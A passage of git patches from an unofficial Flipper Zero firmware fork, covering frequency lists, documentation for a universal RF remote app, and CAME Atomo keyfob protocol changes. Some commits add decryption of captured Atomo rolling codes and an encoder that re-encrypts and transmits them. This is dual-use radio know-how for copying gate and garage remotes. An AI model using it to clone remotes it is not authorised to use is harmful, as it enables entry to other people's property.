compliance_screen(DialogsApp* dialogs, DialogMessage* static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMessage* message) { DialogMessageButton result; - const char* screen_header = "Unleashed Firmware\n" + const char* screen_header = "Unleashed Firmware\n"; const char* screen_text = "Be responsible.\n" "Play with caution.\n" From 0f6471057c672211b2135f630d85fc74dfad1894 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 02:59:58 +0300 Subject: [PATCH 267/461] Update about.c --- applications/about/about.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/applications/about/about.c b/applications/about/about.c index 27479b927..76c63e3b7 100644 --- a/applications/about/about.c +++ b/applications/about/about.c @@ -59,9 +59,9 @@ static DialogMessageButton unleashed_info_screen(DialogsApp* dialogs, DialogMess const char* screen_header = "Unleashed Firmware\n"; - const char* screen_text = "Be responsible.\n" - "Play with caution.\n" - "Not for illegal use!"; + const char* screen_text = "Play with caution.\n" + "Not for illegal use!"; + dialog_message_set_header(message, screen_header, 0, 0, AlignLeft, AlignTop); dialog_message_set_text(message, screen_text, 0, 26, AlignLeft, AlignTop); From 92dd65268056c4646ac2b978d9d877822a3001d8 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 04:31:34 +0300 Subject: [PATCH 268/461] Update CHANGELOG.md --- CHANGELOG.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index a14002e0e..12d882b21 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,7 +1,7 @@ ### New Update * Merged latest big changes from official repo * Moved Games to "Games" Menu -* Added about pages +* Added disclaimer in about pages * Added UniversalRF Remix app * Updated Readme * files for microSD card now included with build, copy them if you installing fw by using .dfu From cade5d356bad95360178743b3e912a117720be70 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Fri, 3 Jun 2022 13:39:47 +0300 Subject: [PATCH 269/461] add 345mhz --- assets/resources/subghz/assets/setting_user | 2 ++ 1 file changed, 2 insertions(+) diff --git a/assets/resources/subghz/assets/setting_user b/assets/resources/subghz/assets/setting_user index dc1c06ed7..4ded4fad2 100644 --- a/assets/resources/subghz/assets/setting_user +++ b/assets/resources/subghz/assets/setting_user @@ -22,6 +22,7 @@ frequency: 314000000 frequency: 314350000 frequency: 315000000 frequency: 318000000 +frequency: 345000000 frequency: 348000000 frequency: 387000000 frequency: 390000000 @@ -43,6 +44,7 @@ frequency: 928000000 # Frequencies used for hopping mode (keep this list small or flipper will miss signal) hopper_frequency: 300000000 +hopper_frequency: 345000000 #hopper_frequency: 310000000 #hopper_frequency: 312000000 #hopper_frequency: 314000000 From 78135f9e5ca0473cd31c4d390f8d1bed344e9de4 Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Fri, 3 Jun 2022 13:49:08 +0300 Subject: [PATCH 270/461] update changelog --- CHANGELOG.md | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 12d882b21..2ce358162 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,7 +1,10 @@ ### New Update +* Merged latest SubGhz fixes +* Added disclaimer in about pages +* Added 345Mhz support +#### Previous changes * Merged latest big changes from official repo * Moved Games to "Games" Menu -* Added disclaimer in about pages * Added UniversalRF Remix app * Updated Readme * files for microSD card now included with build, copy them if you installing fw by using .dfu From 01cf4bb50802c4322160e1269d5364aae88c9ae8 Mon Sep 17 00:00:00 2001 From: wetj Date: Fri, 3 Jun 2022 09:18:38 -0400 Subject: [PATCH 271/461] Create UniRFRemix.md New documentation for UniRF Remix app - this has been asked with high frequency on the unofficial discord. --- documentation/UniRFRemix.md | 40 +++++++++++++++++++++++++++++++++++++ 1 file changed, 40 insertions(+) create mode 100644 documentation/UniRFRemix.md diff --git a/documentation/UniRFRemix.md b/documentation/UniRFRemix.md new file mode 100644 index 000000000..ee6843d82 --- /dev/null +++ b/documentation/UniRFRemix.md @@ -0,0 +1,40 @@ +# UniRF Remix + +### The UniRF Tool *requires* the following manual changes be made to the `universal_rf_map` file in the `subghz/assets` folder located on the sdcard. + +#### If these custom changes are not made, **you will receive an error each time you try to run the UniRF Tool**. + +## Incorrect or unconfigured file error + +If the `universal_rf_map` file has not been properly configured, the following error will be thrown when trying to run the UniRF Remix app: + +``` +Config is incorrect. + +Please configure +universal_rf_map + +Hold Back to Exit +``` +## Setting up the `subghz/assets/universal_rf_map` file: + +``` +Filetype: Flipper SubGhz RAW File +Version: 1 +UP: /ext/subghz/Up.sub +DOWN: /ext/subghz/Down.sub +LEFT: /ext/subghz/Left.sub +RIGHT: /ext/subghz/Right.sub +OK: /ext/subghz/Ok.sub +ULABEL: Up Label +DLABEL: Down Label +LLABEL: Left Label +RLABEL: Right Label +OKLABEL: Ok Label +``` + +The UP/DOWN/LEFT/RIGHT/OK file locations must be set to the specific file you want mapped to that directional pad direction. + +The ULABEL/DLABEL/LLABEL/RLABEL/OKLABEL variables should be set to the text to be displayed for each of the files set earlier. + + From b1d9cb5a1f58e22c829bf78e9f4ec1a9ecbd3638 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 17:51:49 +0300 Subject: [PATCH 272/461] Update CHANGELOG.md --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index 2ce358162..90f357e33 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1,4 +1,5 @@ ### New Update +* 0.59.1 Release * Merged latest SubGhz fixes * Added disclaimer in about pages * Added 345Mhz support From 8400fcce27950a53adc8eec2ab2e91fd3a1d1270 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 21:44:55 +0300 Subject: [PATCH 273/461] Update came_atomo.c show inverted data --- lib/subghz/protocols/came_atomo.c | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index ad98f83f1..c961b45ac 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -272,6 +272,12 @@ static void subghz_protocol_came_atomo_remote_controller( * * */ + uint64_t invert = instance->data ^ 0xFFFFFFFFFFFFFFFF; + invert <<= 4; + uint32_t hi = invert >> 32; + uint32_t lo = invert & 0xFFFFFFFF; + FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), + (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); uint16_t parcel_counter = instance->data >> 48; parcel_counter = parcel_counter ^ 0x185F; parcel_counter >>= 4; From 8a1675234924c6330f72943fab5a8367aebfbc71 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Fri, 3 Jun 2022 22:33:18 +0300 Subject: [PATCH 274/461] Update Manifest --- assets/resources/Manifest | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/resources/Manifest b/assets/resources/Manifest index d0894f1d4..d9205ab86 100644 --- a/assets/resources/Manifest +++ b/assets/resources/Manifest @@ -1,5 +1,5 @@ V:0 -T:1654195035 +T:1654282266 D:badusb D:dolphin D:infrared @@ -235,7 +235,7 @@ F:dda1ef895b8a25fde57c874feaaef997:650:subghz/assets/came_atomo F:610a0ffa2479a874f2060eb2348104c5:2712:subghz/assets/keeloq_mfcodes F:9214f9c10463b746a27e82ce0b96e040:465:subghz/assets/keeloq_mfcodes_user F:653bd8d349055a41e1152e557d4a52d3:202:subghz/assets/nice_flor_s -F:e595561bcc6c9f96b928c88975489c04:1306:subghz/assets/setting_user +F:293960caf3bf55655ff7297805e9db63:1355:subghz/assets/setting_user F:9a50dd284146dfbd8050a2ade62174d9:266:subghz/assets/universal_rf_map D:u2f/assets F:7e11e688e39034bbb9d88410044795e1:365:u2f/assets/cert.der From c39ea0ac2c92e02a5283c661c69ed70f3974e79f Mon Sep 17 00:00:00 2001 From: Eng1n33r Date: Sat, 4 Jun 2022 03:18:43 +0300 Subject: [PATCH 275/461] update readme --- ReadMe.md | 23 ++++++++++++++++++++++- documentation/UniRFRemix.md | 31 +++++++++++++++++++++++++++++++ 2 files changed, 53 insertions(+), 1 deletion(-) diff --git a/ReadMe.md b/ReadMe.md index e12c72070..8a6b5c007 100644 --- a/ReadMe.md +++ b/ReadMe.md @@ -31,6 +31,11 @@ Our Discord Community:

+### **Update to the latest official firmware before proceeding** + +
+
+ ## With offline update on flipper ### **Replace (CURRENT VERSION) with version that you downloaded from releases** @@ -80,7 +85,16 @@ then select **`flipper-z-f7-full-(CURRENT VERSION).dfu`** ### **Replace (CURRENT VERSION) with version that you downloaded from releases** 3. Run `dfu-util -D flipper-z-f7-full-(CURRENT VERSION).dfu -a 0` -4. If you doing install for first time or migrating from official fw, unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` onto your microSD card +4. If you doing install for first time or migrating from official fw, unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card + +
+
+ +# After install: +- ### If you installed using .dfu - unpack 3 folders from archive `sd-card-(CURRENT VERSION).zip` to your microSD card +
+ +- ## [How To: Configure UniversalRF Remix App](https://github.com/Eng1n33r/flipperzero-firmware/blob/dev/documentation/UniRFRemix.md)

@@ -129,6 +143,13 @@ Use **`flipper-z-{target}-full-{suffix}.dfu`** to flash your device. If compilation fails, make sure all submodules are all initialized. Either clone with `--recursive` or use `git submodule update --init --recursive`. +# Apps included + +- [Clock/Stopwatch (By CompaqDisc, Stopwatch & Sound Alert By RogueMaster)](https://github.com/RogueMaster/flipperzero-firmware-wPlugins/blob/unleashed/applications/clock_app/clock_app.c) +- [UniversalRF Remix (By ESurge)(Original UniversalRF By jimilinuxguy)](https://github.com/ESurge/flipperzero-firmware-unirfremix) +- [WAV Player (By DrZlo13)](https://github.com/flipperdevices/flipperzero-firmware/tree/zlo/wav-player) With Fix From [Atmanos](https://github.com/at-manos) +- [Tetris (By jeffplang)](https://github.com/jeffplang/flipperzero-firmware/tree/tetris_game/applications/tetris_game) + # Links * Unofficial Discord: [discord.gg/58D6E8BtTU](https://discord.gg/58D6E8BtTU) diff --git a/documentation/UniRFRemix.md b/documentation/UniRFRemix.md index ee6843d82..6cdd732ed 100644 --- a/documentation/UniRFRemix.md +++ b/documentation/UniRFRemix.md @@ -37,4 +37,35 @@ The UP/DOWN/LEFT/RIGHT/OK file locations must be set to the specific file you wa The ULABEL/DLABEL/LLABEL/RLABEL/OKLABEL variables should be set to the text to be displayed for each of the files set earlier. +## Example: +``` +Filetype: Flipper SubGhz RAW File +Version: 1 +UP: /ext/subghz/Fan1.sub +DOWN: /ext/subghz/Fan2.sub +LEFT: /ext/subghz/Door.sub +RIGHT: /ext/subghz/Garage3.sub +OK: /ext/subghz/Garage3l.sub +ULABEL: Fan ON +DLABEL: Fan OFF +LLABEL: Doorbell +RLABEL: Garage OPEN +OKLABEL: Garage CLOSE +``` + +## Notes +* ##### App Usage + - Press a button to send the assigned capture file. + - Press Back button to set how many repeats the app should send. Capped at 5 repeats. + - Hold Back button to exit app. + - Only RAW SubGhz captures are supported currently. + - No skip function. + +* ##### Universal RF Map + - Backwards compatible with [jimilinuxguy Universal RF Remote](https://github.com/jimilinuxguy/flipperzero-universal-rf-remote) map file. You should be able to use the map file as is with both versions. + - Recommend that you update the map file (if you using "jimilinuxguy's Universal RF" file) to the version included in this repo. + - File path should not have any spaces or special characters (- and _ excluded). + - Labels are limited to 12 characters. + - Why? This is to prevent overlapping elements on screen. + - For example: If you set your label or file to ```WWWWWWWWWWWWWWW``` you'll be over the screen limits. From 77206f9b5d20b987b319e5b932c1f9acd463e0f2 Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 4 Jun 2022 03:32:21 +0300 Subject: [PATCH 276/461] atomo correct recieve (beta test) --- lib/subghz/blocks/generic.h | 1 + lib/subghz/protocols/came_atomo.c | 108 +++++++++++++----------------- lib/subghz/protocols/came_atomo.h | 2 + 3 files changed, 51 insertions(+), 60 deletions(-) diff --git a/lib/subghz/blocks/generic.h b/lib/subghz/blocks/generic.h index 5746fd5de..86fdd5c39 100644 --- a/lib/subghz/blocks/generic.h +++ b/lib/subghz/blocks/generic.h @@ -17,6 +17,7 @@ struct SubGhzBlockGeneric { uint8_t data_count_bit; uint8_t btn; uint32_t cnt; + uint8_t cnt_2; uint32_t seed; }; diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index c961b45ac..e57196b77 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -8,8 +8,6 @@ #define TAG "SubGhzProtocoCameAtomo" -#define SUBGHZ_NO_CAME_ATOMO_RAINBOW_TABLE 0xFFFFFFFFFFFFFFFF - static const SubGhzBlockConst subghz_protocol_came_atomo_const = { .te_short = 600, .te_long = 1200, @@ -24,7 +22,6 @@ struct SubGhzProtocolDecoderCameAtomo { SubGhzBlockGeneric generic; ManchesterState manchester_saved_state; - const char* came_atomo_rainbow_table_file_name; }; struct SubGhzProtocolEncoderCameAtomo { @@ -74,19 +71,12 @@ void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) { SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo)); instance->base.protocol = &subghz_protocol_came_atomo; instance->generic.protocol_name = instance->base.protocol->name; - instance->came_atomo_rainbow_table_file_name = - subghz_environment_get_came_atomo_rainbow_table_file_name(environment); - if(instance->came_atomo_rainbow_table_file_name) { - FURI_LOG_I( - TAG, "Loading rainbow table from %s", instance->came_atomo_rainbow_table_file_name); - } return instance; } void subghz_protocol_decoder_came_atomo_free(void* context) { furi_assert(context); SubGhzProtocolDecoderCameAtomo* instance = context; - instance->came_atomo_rainbow_table_file_name = NULL; free(instance); } @@ -186,39 +176,13 @@ void subghz_protocol_decoder_came_atomo_feed(void* context, bool level, uint32_t } } -/** - * Read bytes from rainbow table - * @param file_name Full path to rainbow table the file - * @param number_atomo_magic_xor Сell number in the array - * @return atomo_magic_xor - */ -static uint64_t subghz_protocol_came_atomo_get_magic_xor_in_file( - const char* file_name, - uint8_t number_atomo_magic_xor) { - if(!strcmp(file_name, "")) return SUBGHZ_NO_CAME_ATOMO_RAINBOW_TABLE; - - uint8_t buffer[sizeof(uint64_t)] = {0}; - uint32_t address = number_atomo_magic_xor * sizeof(uint64_t); - uint64_t atomo_magic_xor = 0; - - if(subghz_keystore_raw_get_data(file_name, address, buffer, sizeof(uint64_t))) { - for(size_t i = 0; i < sizeof(uint64_t); i++) { - atomo_magic_xor = (atomo_magic_xor << 8) | buffer[i]; - } - } else { - atomo_magic_xor = SUBGHZ_NO_CAME_ATOMO_RAINBOW_TABLE; - } - return atomo_magic_xor; -} - /** * Analysis of received data * @param instance Pointer to a SubGhzBlockGeneric* instance * @param file_name Full path to rainbow table the file */ static void subghz_protocol_came_atomo_remote_controller( - SubGhzBlockGeneric* instance, - const char* file_name) { + SubGhzBlockGeneric* instance) { /* * 0x1fafef3ed0f7d9ef * 0x185fcc1531ee86e7 @@ -272,29 +236,51 @@ static void subghz_protocol_came_atomo_remote_controller( * * */ - uint64_t invert = instance->data ^ 0xFFFFFFFFFFFFFFFF; - invert <<= 4; - uint32_t hi = invert >> 32; - uint32_t lo = invert & 0xFFFFFFFF; + instance->data ^= 0xFFFFFFFFFFFFFFFF; + instance->data <<= 4; + uint32_t hi = instance->data >> 32; + uint32_t lo = instance->data & 0xFFFFFFFF; FURI_LOG_I(TAG, "inverted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", (hi >> 24), ((hi >> 16) & 0xFF), ((hi >> 8) & 0xFF), (hi & 0xFF), (lo >> 24), ((lo >> 16) & 0xFF), ((lo >> 8) & 0xFF), (lo & 0xFF)); - uint16_t parcel_counter = instance->data >> 48; - parcel_counter = parcel_counter ^ 0x185F; - parcel_counter >>= 4; - uint8_t ind = (parcel_counter + 1) % 32; - uint64_t temp_data = instance->data & 0x0000FFFFFFFFFFFF; - uint64_t atomo_magic_xor = subghz_protocol_came_atomo_get_magic_xor_in_file(file_name, ind); + uint8_t pack[8] = {}; + pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); pack[2] = ((instance->data >> 40) & 0xFF); pack[3] = ((instance->data >> 32) & 0xFF); + pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); + atomo_decrypt(pack); + instance->cnt_2 = pack[0]; + instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; + instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; + instance->btn = pack[7]; +} - if(atomo_magic_xor != SUBGHZ_NO_CAME_ATOMO_RAINBOW_TABLE) { - temp_data = temp_data ^ atomo_magic_xor; - instance->cnt = temp_data >> 36; - instance->serial = (temp_data >> 4) & 0x000FFFFFFFF; - instance->btn = temp_data & 0xF; - } else { - instance->cnt = 0; - instance->serial = 0; - instance->btn = 0; +void atomo_decrypt(uint8_t *buff) { + buff[0] = ( buff[0] ^ 5 ) & 0x7F; + uint8_t tmpB = ( -buff[0]) & 0x7F; + + uint8_t bitCnt = 8; + while (bitCnt < 59) { + if ( (tmpB & 0x18) && ( ((tmpB / 8) & 3) != 3 ) ) { + tmpB = ((tmpB << 1) & 0xFF) | 1; + } else { + tmpB = (tmpB << 1) & 0xFF; + } + + if ( tmpB & 0x80 ) { + buff[bitCnt /8] ^= (0x80 >> (bitCnt & 7)); + } + + bitCnt++; } + + // buff[6] &= 0xFD; + // buff[6] &= 0xFE; + // buff[7] &= 0x7F; + // buff[7] &= 0xEF; + + // buff[7] = buff[7] & 0xBF; + // buff[7] = buff[7] & 0xDF; + + // clear btn + buff[7] = buff[7] & 0x9F; } uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) { @@ -324,16 +310,17 @@ void subghz_protocol_decoder_came_atomo_get_string(void* context, string_t outpu furi_assert(context); SubGhzProtocolDecoderCameAtomo* instance = context; subghz_protocol_came_atomo_remote_controller( - &instance->generic, instance->came_atomo_rainbow_table_file_name); + &instance->generic); uint32_t code_found_hi = instance->generic.data >> 32; uint32_t code_found_lo = instance->generic.data & 0x00000000ffffffff; string_cat_printf( output, "%s %db\r\n" - "Key:0x%lX%08lX\r\n" + "Key:0x%08lX%08lX\r\n" "Sn:0x%08lX Btn:0x%01X\r\n" - "Cnt:0x%03X\r\n", + "Pcl_Cnt:0x%04X\r\n" + "Btn_Cnt:0x%02X", instance->generic.protocol_name, instance->generic.data_count_bit, @@ -341,5 +328,6 @@ void subghz_protocol_decoder_came_atomo_get_string(void* context, string_t outpu code_found_lo, instance->generic.serial, instance->generic.btn, - instance->generic.cnt); + instance->generic.cnt, + instance->generic.cnt_2); } diff --git a/lib/subghz/protocols/came_atomo.h b/lib/subghz/protocols/came_atomo.h index d1c856e16..162bd60b1 100644 --- a/lib/subghz/protocols/came_atomo.h +++ b/lib/subghz/protocols/came_atomo.h @@ -10,6 +10,8 @@ extern const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder; extern const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder; extern const SubGhzProtocol subghz_protocol_came_atomo; +void atomo_decrypt(uint8_t *buff); + /** * Allocate SubGhzProtocolDecoderCameAtomo. * @param environment Pointer to a SubGhzEnvironment instance From d18b402cae64ba73f1e8a8ede2f8c8027d31f79e Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 4 Jun 2022 14:07:33 +0300 Subject: [PATCH 277/461] Update came_atomo.c correct btn decode --- lib/subghz/protocols/came_atomo.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index e57196b77..3f8a781f7 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -249,7 +249,11 @@ static void subghz_protocol_came_atomo_remote_controller( instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; - instance->btn = pack[7]; + uint8_t btn_decode = (pack[7] >> 4); + if(btn_decode == 0x0) {instance->btn = 0x1;} + if(btn_decode == 0x2) {instance->btn = 0x2;} + if(btn_decode == 0x4) {instance->btn = 0x3;} + if(btn_decode == 0x6) {instance->btn = 0x4;} } void atomo_decrypt(uint8_t *buff) { @@ -280,7 +284,7 @@ void atomo_decrypt(uint8_t *buff) { // buff[7] = buff[7] & 0xDF; // clear btn - buff[7] = buff[7] & 0x9F; + //buff[7] = buff[7] & 0x9F; } uint8_t subghz_protocol_decoder_came_atomo_get_hash_data(void* context) { From 45f6b18e21f430453ae5b58875a3b400a4eae51f Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 4 Jun 2022 14:28:22 +0300 Subject: [PATCH 278/461] Update came_atomo.c log decrypted data --- lib/subghz/protocols/came_atomo.c | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 3f8a781f7..1842f5ea3 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -246,6 +246,7 @@ static void subghz_protocol_came_atomo_remote_controller( pack[0] = (instance->data >> 56); pack[1] = ((instance->data >> 48) & 0xFF); pack[2] = ((instance->data >> 40) & 0xFF); pack[3] = ((instance->data >> 32) & 0xFF); pack[4] = ((instance->data >> 24) & 0xFF); pack[5] = ((instance->data >> 16) & 0xFF); pack[6] = ((instance->data >> 8) & 0xFF); pack[7] = (instance->data & 0xFF); atomo_decrypt(pack); + FURI_LOG_I(TAG, "decrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); instance->cnt_2 = pack[0]; instance->cnt = (uint16_t)pack[1] << 8 | pack[2]; instance->serial = (uint32_t)(pack[3]) << 24 | pack[4] << 16 | pack[5] << 8 | pack[6]; From d80118a4a3a6dbc4c1a13f25d30186de8a395bca Mon Sep 17 00:00:00 2001 From: r3df0xx Date: Sat, 4 Jun 2022 22:41:25 +0300 Subject: [PATCH 279/461] Came Atomo save&send (beta-test) Testing algorythm and tx work. --- lib/subghz/protocols/came_atomo.c | 203 +++++++++++++++++++++++++++--- lib/subghz/protocols/came_atomo.h | 37 ++++++ 2 files changed, 222 insertions(+), 18 deletions(-) diff --git a/lib/subghz/protocols/came_atomo.c b/lib/subghz/protocols/came_atomo.c index 1842f5ea3..1c68ec331 100644 --- a/lib/subghz/protocols/came_atomo.c +++ b/lib/subghz/protocols/came_atomo.c @@ -1,5 +1,6 @@ #include "came_atomo.h" #include +#include #include "../blocks/const.h" #include "../blocks/decoder.h" #include "../blocks/encoder.h" @@ -50,23 +51,176 @@ const SubGhzProtocolDecoder subghz_protocol_came_atomo_decoder = { }; const SubGhzProtocolEncoder subghz_protocol_came_atomo_encoder = { - .alloc = NULL, - .free = NULL, + .alloc = subghz_protocol_encoder_came_atomo_alloc, + .free = subghz_protocol_encoder_came_atomo_free, - .deserialize = NULL, - .stop = NULL, - .yield = NULL, + .deserialize = subghz_protocol_encoder_came_atomo_deserialize, + .stop = subghz_protocol_encoder_came_atomo_stop, + .yield = subghz_protocol_encoder_came_atomo_yield, }; const SubGhzProtocol subghz_protocol_came_atomo = { .name = SUBGHZ_PROTOCOL_CAME_ATOMO_NAME, .type = SubGhzProtocolTypeDynamic, - .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable, + .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | + SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send, .decoder = &subghz_protocol_came_atomo_decoder, .encoder = &subghz_protocol_came_atomo_encoder, }; +static void subghz_protocol_came_atomo_remote_controller(SubGhzBlockGeneric* instance); + +void* subghz_protocol_encoder_came_atomo_alloc(SubGhzEnvironment* environment) { + UNUSED(environment); + SubGhzProtocolEncoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolEncoderCameAtomo)); + + instance->base.protocol = &subghz_protocol_came_atomo; + instance->generic.protocol_name = instance->base.protocol->name; + + instance->encoder.repeat = 10; + instance->encoder.size_upload = 16384; //(64 * 2) * 128 + instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration)); + instance->encoder.is_runing = false; + return instance; +} + +void subghz_protocol_encoder_came_atomo_free(void* context) { + furi_assert(context); + SubGhzProtocolEncoderCameAtomo* instance = context; + free(instance->encoder.upload); + free(instance); +} + +static LevelDuration + subghz_protocol_encoder_came_atomo_add_duration_to_upload(ManchesterEncoderResult result) { + LevelDuration data = {.duration = 0, .level = 0}; + switch(result) { + case ManchesterEncoderResultShortLow: + data.duration = subghz_protocol_came_atomo_const.te_short; + data.level = false; + break; + case ManchesterEncoderResultLongLow: + data.duration = subghz_protocol_came_atomo_const.te_long; + data.level = false; + break; + case ManchesterEncoderResultLongHigh: + data.duration = subghz_protocol_came_atomo_const.te_long; + data.level = true; + break; + case ManchesterEncoderResultShortHigh: + data.duration = subghz_protocol_came_atomo_const.te_short; + data.level = true; + break; + + default: + furi_crash("SubGhz: ManchesterEncoderResult is incorrect."); + break; + } + return level_duration_make(data.level, data.duration); +} + +/** + * Generating an upload from data. + * @param instance Pointer to a SubGhzProtocolEncoderCameAtomo instance + */ +static void subghz_protocol_encoder_came_atomo_get_upload(SubGhzProtocolEncoderCameAtomo* instance) { + furi_assert(instance); + size_t index = 0; + + ManchesterEncoderState enc_state; + manchester_encoder_reset(&enc_state); + ManchesterEncoderResult result; + + instance->generic.cnt++; + + uint8_t pack[8] = {}; + pack[0] = (instance->generic.data >> 56); pack[1] = ((instance->generic.data >> 48) & 0xFF); pack[2] = ((instance->generic.data >> 40) & 0xFF); pack[3] = ((instance->generic.data >> 32) & 0xFF); + pack[4] = ((instance->generic.data >> 24) & 0xFF); pack[5] = ((instance->generic.data >> 16) & 0xFF); pack[6] = ((instance->generic.data >> 8) & 0xFF); pack[7] = (instance->generic.data & 0xFF); + + FURI_LOG_I(TAG, "encoder prepared: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + + for(int i = 0; i <= 0x7F; i++) { + pack[0] = i; + atomo_encrypt(pack); + uint32_t hi = pack[0] << 24 | pack[1] << 16 | pack[2] << 8 | pack[3]; + uint32_t lo = pack[4] << 24 | pack[5] << 16 | pack[6] << 8 | pack[7]; + instance->generic.data = (uint64_t)hi << 32 | lo; + FURI_LOG_I(TAG, "encrypted data: %02X %02X %02X %02X %02X %02X %02X %02X\n", pack[0], pack[1], pack[2], pack[3], pack[4], pack[5], pack[6], pack[7]); + //Send start bits Atomo + instance->encoder.upload[index++] = + level_duration_make(true, (uint32_t)subghz_protocol_came_atomo_const.te_long); + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_short); + + for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) { + if(!manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result)) { + instance->encoder.upload[index++] = + subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + manchester_encoder_advance(&enc_state, !bit_read(instance->generic.data, i - 1), &result); + } + instance->encoder.upload[index++] = + subghz_protocol_encoder_came_atomo_add_duration_to_upload(result); + } + instance->encoder.upload[index] = subghz_protocol_encoder_came_atomo_add_duration_to_upload( + manchester_encoder_finish(&enc_state)); + if(level_duration_get_level(instance->encoder.upload[index])) { + index++; + } + //pause + instance->encoder.upload[index++] = + level_duration_make(false, (uint32_t)subghz_protocol_came_atomo_const.te_long * 60); + } + instance->encoder.size_upload = index; +} + +bool subghz_protocol_encoder_came_atomo_deserialize(void* context, FlipperFormat* flipper_format) { + furi_assert(context); + SubGhzProtocolEncoderCameAtomo* instance = context; + bool res = false; + do { + if(!subghz_block_generic_deserialize(&instance->generic, flipper_format)) { + FURI_LOG_E(TAG, "Deserialize error"); + break; + } + + //optional parameter parameter + flipper_format_read_uint32( + flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1); + + subghz_protocol_came_atomo_remote_controller(&instance->generic); + subghz_protocol_encoder_came_atomo_get_upload(instance); + instance->encoder.is_runing = true; + + res = true; + } while(false); + + return res; +} + +void subghz_protocol_encoder_came_atomo_stop(void* context) { + SubGhzProtocolEncoderCameAtomo* instance = context; + instance->encoder.is_runing = false; +} + +LevelDuration subghz_protocol_encoder_came_atomo_yield(void* context) { + SubGhzProtocolEncoderCameAtomo* instance = context; + + if(instance->encoder.repeat == 0 || !instance->encoder.is_runing) { + instance->encoder.is_runing = false; + return level_duration_reset(); + } + + LevelDuration ret = instance->encoder.upload[instance->encoder.front]; + + if(++instance->encoder.front == instance->encoder.size_upload) { + instance->encoder.repeat--; + instance->encoder.front = 0; + } + + return ret; +} + void* subghz_protocol_decoder_came_atomo_alloc(SubGhzEnvironment* environment) { SubGhzProtocolDecoderCameAtomo* instance = malloc(sizeof(SubGhzProtocolDecoderCameAtomo)); instance->base.protocol = &subghz_protocol_came_atomo; @@ -254,7 +408,31 @@ static void subghz_protocol_came_atomo_remote_controller( if(btn_decode == 0x0) {instance->btn 